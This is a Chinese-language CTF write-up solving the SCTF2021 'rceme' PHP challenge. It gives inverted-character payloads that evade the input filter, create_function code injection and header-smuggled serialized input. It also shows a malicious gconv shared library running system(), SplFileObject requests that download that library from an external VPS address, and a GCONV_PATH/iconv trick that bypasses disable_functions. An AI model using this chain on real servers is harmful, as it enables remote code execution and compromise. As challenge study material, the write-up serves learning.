SCTF2021__rceme

rceme

文章目录

  • rceme
    • 先说下几个函数
      • call_user_func
      • getallheaders()
    • 可变参数绕过
    • 命令注入
    • 使用动态链接库so绕过disable_functions
    • iconv_open函数执行过程
    • 利用php原生类进行文件读取
    • 参考链接

题目


if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));//获取配置参数
}
?>

disable_functions过滤了很多函数,可用的函数如下

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

用php代码跑出可用的字符



for($i=1;$i<127;$i++){
    //print($i);
    if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',chr($i))){
        echo(chr($i));
    }
    //print(chr($i));
}

结果

!#%()*.:;<@[\]_{}~

而且第二个正则匹配限制传入的参数需要是a(),或者a(b())这样的形状

ff(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code))

那么就是要利用无参函数了

先说下几个函数

call_user_func

把第一个参数作为回调函数调用,也就是用另一种方式进行参数传递

比如


function nowamagic($a,$b)   
{   
    echo $a;   
    echo $b;   
}   
call_user_func('nowamagic', "111","222");   

getallheaders()

获得所有 HTTP 变量值

本机进行实验


print_r(getallheaders());

结果

Array
(
    [Accept-Language] => zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    [Accept-Encoding] => gzip, deflate, br
    [Sec-Fetch-Dest] => document
    [Sec-Fetch-User] => ?1
    [Sec-Fetch-Mode] => navigate
    [Sec-Fetch-Site] => none
    [Accept] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    [User-Agent] => Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36
    [Upgrade-Insecure-Requests] => 1
    [Sec-Ch-Ua-Platform] => "Windows"
    [Sec-Ch-Ua-Mobile] => ?0
    [Sec-Ch-Ua] => " Not A;Brand";v="99", "Chromium";v="99", "Microsoft Edge";v="99"
    [Connection] => close
    [Host] => 127.0.0.1
)

如果我用end()输出最后一个,结果是


print_r(getallheaders());
print(end(getallheaders()));

虽然会报错,但是成功输出了,是127.0.0.1

SCTF2021__rceme_第1张图片

所以我们可以抓包,然后在请求头的末尾添加恶意代码

可变参数绕过

PHP 在用户自定义函数中支持可变数量的参数列表。在 PHP 5.6 及以上的版本中,由 语法实现;在 PHP 5.5 及更早版本中,使用函数func_num_args(),func_get_arg(),和 func_get_args() 。

在php5.6以上,使用在参数列表前加上...,来白哦是参数接受可变数量的参数

本地实验



function sum(...$a){
    $c = 0;
    foreach ($a as $n){
        $c = $c + $n;
    }
    return $c;
}

echo sum(1,12,13);

结果

26

命令注入

再配合create_function()命令注入


$a = ['', '}system("whoami");//'];

echo create_function(...$a);

结果:root

在这里插入图片描述

因为过滤了可见字符,所以需要转为不可见字符绕过

参考Firebasky师傅的脚本

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)
    #call_user_func(...unserialize(end(getallheaders())));

跑出的结果

[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF]([~%d1%d1%d1%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

%d1%d1%d1去掉,在外面添加...

[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

一个思路是利用call_user_func()来调用create_function()函数,因为creat_function()函数存在命令注入。但是也可以直接调用create_function函数。如下


$a = ['','}eval($_POST[1]);//'];
$str = serialize($a);
echo $str;

结果

a:2:{i:0;s:0:"";i:1;s:19:"}eval($_POST[1]);//";}

进行传值

SCTF2021__rceme_第2张图片

可以执行phpinfo(); 但是其他的命令不行

使用动态链接库so绕过disable_functions

创建一个a.c

#include 
#include 

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/sapp'");
  exit(0);
}

从目标文件生成动态链接库

gcc payload.c -o payload.so -shared -fPIC

GCC生成动态链接库(.so文件):-shared和-fPIC选项 (biancheng.net)

SCTF2021__rceme_第3张图片

iconv_open函数执行过程

看个人的vps有没有开启http服务吧

引用大佬文章:(1条消息) 使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。

下面我们来看一下iconv_open函数的执行过程:

  1. iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
  2. 然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
  3. 之后会调用.so文件中的gconv()与gonv_init()函数。
  4. 然后就是一些与本漏洞利用无关的步骤。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()和gonv_init()函数。

gconv-modules文件,gconv-modules文件提供了各个字符集的.so文件所在位置。

gconv-modules文件格式

module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module  INTERNAL    自定义字符集名字(大写)//    ../../../../../../../../tmp/自定义字符集名字(小写)    2

对应的gconv-modules

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

gconv-modulespayload.so放在/tmp/var/www/html

在vps上开启http服务,比如可以使用python3的自带的方法

python3 -m http.server 8001

在8001端口开启http服务

可以使用python3的自带的方法,或者我vps上有http服务,所以就直接将上面两个文件放在网站根目录即可

利用php原生类进行文件读取

SplFileObject是标准的文件操作类,用来进行文件读取

将vps上的payload.so放入靶机的/tmp目录下

cmd=[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&1=$url="http://116.62.240.148/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);

设定$url的值

将vps上的gconv-modules放入靶机的/tmp目录下

cmd=[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&1=$url = "http://116.62.240.148/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

指定环境变量GCONV_PATH,php伪协议

show_source() 函数对文件进行语法高亮显示。

因为iconv被ban了,所以使用php://filter中的 convert.iconv 进行触发

SCTF2021__rceme_第4张图片

cmd=[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&1=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

然后最后使用highlight_file()函数读取文件

SCTF2021__rceme_第5张图片

参考链接

  1. [(1条消息) CTFHUB web进阶学习_Je3Z的博客-CSDN博客](https://blog.csdn. et/jvkyvly/article/details/120197390)
  2. (1条消息) 使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客
  3. [CTF]SCTF2021 WEB复现(详细版)_Sapphire037的博客-CSDN博客
  4. (1条消息) Python3开启自带http服务_SPACESTUDIO的博客-CSDN博客_python3开启http服务
  5. GCC生成动态链接库(.so文件):-shared和-fPIC选项 (biancheng.net)
  6. [Web] SCTF2021 rceme – 大彪的小站 (1idb.com)
  7. [SCTF2021 web | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2022/01/03/SCTF2021 web/)

你可能感兴趣的:(CTF刷题记录,CTF,Web,RCE)